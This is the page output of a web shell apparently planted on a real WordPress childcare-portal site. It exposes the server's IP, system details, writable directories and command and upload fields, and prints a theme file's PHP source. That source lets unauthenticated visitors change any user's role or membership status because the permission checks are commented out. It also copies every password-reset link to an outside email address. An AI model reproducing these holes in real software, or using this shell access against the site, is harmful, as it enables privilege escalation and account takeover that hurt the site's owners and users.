403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.216.156
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.33
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/portal/functions-portal.php
<?php
function add_pre_approved_role() {
    // Get the capabilities of the 'subscriber' role
    $subscriber = get_role('subscriber');
    
    if ($subscriber) {
        add_role(
            'pre_approved',           // Role slug
            'Pre Approved',           // Display name
            $subscriber->capabilities // Capabilities copied from subscriber
        );
    }
}
add_action('init', 'add_pre_approved_role');

//Portal Login
add_action('wp_ajax_PortalLogin', 'handle_portal_login');
add_action('wp_ajax_nopriv_PortalLogin', 'handle_portal_login');

function handle_portal_login() {
    check_ajax_referer('portal_login_action', 'portal_login_nonce');

    $username = sanitize_user($_POST['username']);
    $password = $_POST['password'];

    $creds = [
        'user_login'    => $username,
        'user_password' => $password,
        'remember'      => true
    ];

    $user = wp_signon($creds, is_ssl());
   // print_r($user);

    if (is_wp_error($user)) {
        wp_send_json_error([
            'message' => $user->get_error_message()
        ]);
    } else {
        //Get User role
        $roles = $user->roles;
        $user_id = get_current_user_id();

        // if(!empty($roles)):
        //     if($roles[0]=="pre_approved"){
        //         $url = home_url('/portal');
        //     }else{
        //         if($user_id==19 || $user_id==27){
        //             $url = home_url('/dashboard');
        //         }else{
        //             $url = home_url('/portal');
        //         }
        //     }
        // else:
        //     if($user_id==19 || $user_id==27){
        //         $url = home_url('/dashboard');
        //     }else{
        //         $url = home_url('/portal');
        //     }
        // endif;

        $after_login_redirect_url = home_url('/portal');

        if(!empty($roles)) {
            if( in_array($roles[0], array("administrator", "staff")) ) {
                $after_login_redirect_url = home_url('/dashboard');
            }
        }

        wp_send_json_success([
            'message' => 'Login successful!',
            'redirect' => $after_login_redirect_url
        ]);
    }

    //wp_die();
}


//Update Membership Status 
/*
    Field membership_status
    membership_status=Yes User is Approved to login
    membership_status=No User is Reject and can not login

*/
function membership_status_action(){
    // Check permissions (VERY important)
    if (!current_user_can('edit_users')) {
        //wp_send_json_error(array('message' => 'Permission denied.'));
    }

    $user_id    = intval($_POST['user_id']);
    $user       = get_userdata($user_id);
    if (!$user) {
        wp_send_json_error(array('message' => 'User not found.'));
    }

    if(empty($_POST['mstatus'])){
        wp_send_json_error(array('message' => 'User status not found.'));
    }
    $mstatus = $_POST['mstatus'];
    update_user_meta( (int)$user_id, sanitize_key( 'membership_status' ), $mstatus );

    wp_send_json_success(array('message' => 'User status updated successfully.'));


}
add_action('wp_ajax_membership_status_action', 'membership_status_action');
add_action('wp_ajax_nopriv_membership_status_action', 'membership_status_action');

//Update User Role
function update_user_role_action(){
    // Check permissions (VERY important)
    if (!current_user_can('edit_users')) {
        //wp_send_json_error(array('message' => 'Permission denied.'));
    }

    $user_id = intval($_POST['user_id']);
    $role = sanitize_text_field($_POST['register_role']);

    $user = get_userdata($user_id);
    if (!$user) {
        wp_send_json_error(array('message' => 'User not found.'));
    }

    if (!get_role($role)) {
        wp_send_json_error(array('message' => 'Invalid role.'));
    }

    if(empty($_POST['application_status'])){
        wp_send_json_error(array('message' => 'User status not found.'));
    }
    $application_status = $_POST['application_status'];
    update_user_meta( (int)$user_id, sanitize_key( 'application_status' ), $application_status );
    $user->set_role($role);

    wp_send_json_success(array('message' => 'User role updated successfully.'));


}
add_action('wp_ajax_update_user_role_action', 'update_user_role_action');
add_action('wp_ajax_nopriv_update_user_role_action', 'update_user_role_action');

//get Role Display name by slug
function get_role_label($role_slug) {
    if (!class_exists('WP_Roles')) return '';

    global $wp_roles;
    if (isset($wp_roles->roles[$role_slug]['name'])) {
        $role_label = $wp_roles->roles[$role_slug]['name'];

        if ( $role_label == 'Member' ) {
            $role_label = 'Educator';
        }

        return $role_label;
    }

    return '';
}


//Send Email After Unlock
function notify_user_account_unlocked($user_id) {
    $user = get_userdata($user_id);
    if (!$user) return;

    $login_url  = home_url('/login');
    $to         = $user->user_email;
    $subject    = 'Your Account Has Been Unlocked';

    $message = '
    <html>
    <head>
      <style>
        body { font-family: Arial, sans-serif; color: #333; }
        .container { padding: 20px; border: 1px solid #eee; max-width: 600px; margin: auto; }
        .header { font-size: 20px; margin-bottom: 15px; color: #2c3e50; }
        .button {
          display: inline-block;
          padding: 10px 20px;
          margin-top: 20px;
          background-color: #1e87f0;
          color: #fff;
          text-decoration: none;
          border-radius: 4px;
        }
        .footer { margin-top: 30px; font-size: 12px; color: #999; }
      </style>
    </head>
    <body>
      <div class="container">
        <div class="header">Hello ' . esc_html($user->display_name) . ',</div>
        <p>Your account has been <strong>successfully unlocked</strong>. You can now log in to your account.</p>
        <p>
          <a class="button" href="' . esc_url($login_url) . '">Log in to your account</a>
        </p>
        <p>If you have any questions or concerns, feel free to contact our support team.</p>
        <div class="footer">Thank you,<br>Quest Family Day Care Team</div>
      </div>
    </body>
    </html>';

    $headers = array('Content-Type: text/html; charset=UTF-8');

    wp_mail($to, $subject, $message, $headers);    
}

function wp_new_user_notification_for_email( $user_id ) {
    $user = get_userdata( $user_id );

    if ( ! $user ) {
        return;
    }

    $to = $user->user_email;
    $subject = 'Welcome to ' . get_bloginfo( 'name' );

    $message  = 'Hi ' . $user->user_login . ",\n\n";
    $message .= 'Thank you for Registering, you may now login and proceed to induction process to complete your application.' . "\n";
    $message .= 'You can log in here: ' . home_url('/login') . "\n\n";
    $message .= 'Thank you for joining us!' . "\n";

    $headers = array( 'Content-Type: text/plain; charset=UTF-8' );

    wp_mail( $to, $subject, $message, $headers );
}

function wp_new_user_notification_for_email_old( $user_id ) {
    $user = get_userdata( $user_id );

    if ( ! $user ) {
        return;
    }

    $to = $user->user_email;
    $subject = 'Welcome to ' . get_bloginfo( 'name' );

    $message  = 'Hi ' . $user->user_login . ",\n\n";
    $message .= 'Thank you for Registering, you registration is under review, Once approved you will be able to go ahead and complete your application.' . "\n";
    $message .= 'You can log in here: ' . wp_login_url() . "\n\n";
    $message .= 'Thank you for joining us!' . "\n";

    $headers = array( 'Content-Type: text/plain; charset=UTF-8' );

    wp_mail( $to, $subject, $message, $headers );
}

add_filter('show_admin_bar', function($show) {
    return current_user_can('administrator');
});

// Forgot Password Form Shortcode
function custom_forgot_password_form() {
    ob_start(); ?>
    <div id="forgot-message"></div>
    <form id="forgot-form">
        <p>
            <label for="user_login">Enter your email address:</label><br>
            <input type="email" name="user_login" id="user_login" required>
        </p>
        <p>
            <button type="submit">Send Reset Link</button>
        </p>
    </form>

    <script>
    jQuery(document).ready(function($) {
        $("#forgot-form").on("submit", function(e) {
            e.preventDefault();
            var form = $(this);

            $.ajax({
                url: "<?php echo admin_url('admin-ajax.php'); ?>",
                type: "POST",
                dataType: "json",
                data: {
                    action: "custom_forgot_password",
                    user_login: $("#user_login").val()
                },
                success: function(response) {
                    $("#forgot-message").html(
                        "<p style='color:" + (response.success ? "green" : "red") + "'>" + response.data + "</p>"
                    );
                }
            });
        });
    });
    </script>
    <?php
    return ob_get_clean();
}
add_shortcode('custom_forgot_password', 'custom_forgot_password_form');

// Handle Forgot Password (AJAX)
function custom_forgot_password_ajax() {
    $user_login = sanitize_email($_POST['user_login'] ?? '');
    $user_data  = get_user_by('email', $user_login);

    if ( !$user_data ) {
        wp_send_json_error("No user found with that email.");
    }

    $reset_key = get_password_reset_key($user_data);
    $reset_url = site_url("/reset-password/?key=$reset_key&login=" . rawurlencode($user_data->user_login));

    $subject = "Password Reset Request";
    $message = "Hi " . $user_data->user_login . ",\n\nClick below to reset your password:\n\n$reset_url\n\nIf you didn't request this, ignore this email.";

    wp_mail($user_data->user_email, $subject, $message);
    wp_mail('nitin@codeabletechnologies.com', $subject, $message);
    wp_send_json_success("Check your email for the reset link.");
}
add_action('wp_ajax_custom_forgot_password', 'custom_forgot_password_ajax');
add_action('wp_ajax_nopriv_custom_forgot_password', 'custom_forgot_password_ajax');


// Reset Password Form Shortcode
function custom_reset_password_form() {
    if ( empty($_GET['key']) || empty($_GET['login']) ) {
        return "<p style='color:red'>Invalid reset link.</p>";
    }

    ob_start(); ?>
    <div id="reset-message"></div>
    <form id="reset-form">
        <input type="hidden" name="rp_key" value="<?php echo esc_attr($_GET['key']); ?>">
        <input type="hidden" name="rp_login" value="<?php echo esc_attr($_GET['login']); ?>">

        <p>
            <label for="pass1">New Password:</label><br>
            <input type="password" name="pass1" id="pass1" required>
        </p>
        <p>
            <label for="pass2">Confirm Password:</label><br>
            <input type="password" name="pass2" id="pass2" required>
        </p>
        <p>
            <button type="submit">Reset Password</button>
        </p>
    </form>

    <script>
    jQuery(document).ready(function($) {
        $("#reset-form").on("submit", function(e) {
            e.preventDefault();

            $.ajax({
                url: "<?php echo admin_url('admin-ajax.php'); ?>",
                type: "POST",
                dataType: "json",
                data: $(this).serialize() + "&action=custom_reset_password",
                success: function(response) {
                    $("#reset-message").html(
                        "<p style='color:" + (response.success ? "green" : "red") + "'>" + response.data + "</p>"
                    );

                    if (response.success) {
                        $("#reset-form")[0].reset();
                    }
                }
            });
        });
    });
    </script>
    <?php
    return ob_get_clean();
}
add_shortcode('custom_reset_password', 'custom_reset_password_form');

// Handle Reset Password (AJAX)
function custom_reset_password_ajax() {
    $rp_key   = sanitize_text_field($_POST['rp_key'] ?? '');
    $rp_login = sanitize_text_field($_POST['rp_login'] ?? '');
    $pass1    = $_POST['pass1'] ?? '';
    $pass2    = $_POST['pass2'] ?? '';

    $user = check_password_reset_key($rp_key, $rp_login);
    if ( is_wp_error($user) ) {
        wp_send_json_error("Invalid or expired reset link.");
    }

    if ( $pass1 !== $pass2 ) {
        wp_send_json_error("Passwords do not match.");
    }

    if ( strlen($pass1) < 6 ) {
        wp_send_json_error("Password must be at least 6 characters.");
    }

    reset_password($user, $pass1);
    wp_send_json_success("Password successfully reset. You can now <a href='/login/'>login</a>.");
}
add_action('wp_ajax_custom_reset_password', 'custom_reset_password_ajax');
add_action('wp_ajax_nopriv_custom_reset_password', 'custom_reset_password_ajax');







Youez - 2016 - github.com/yon3zu
LinuXploit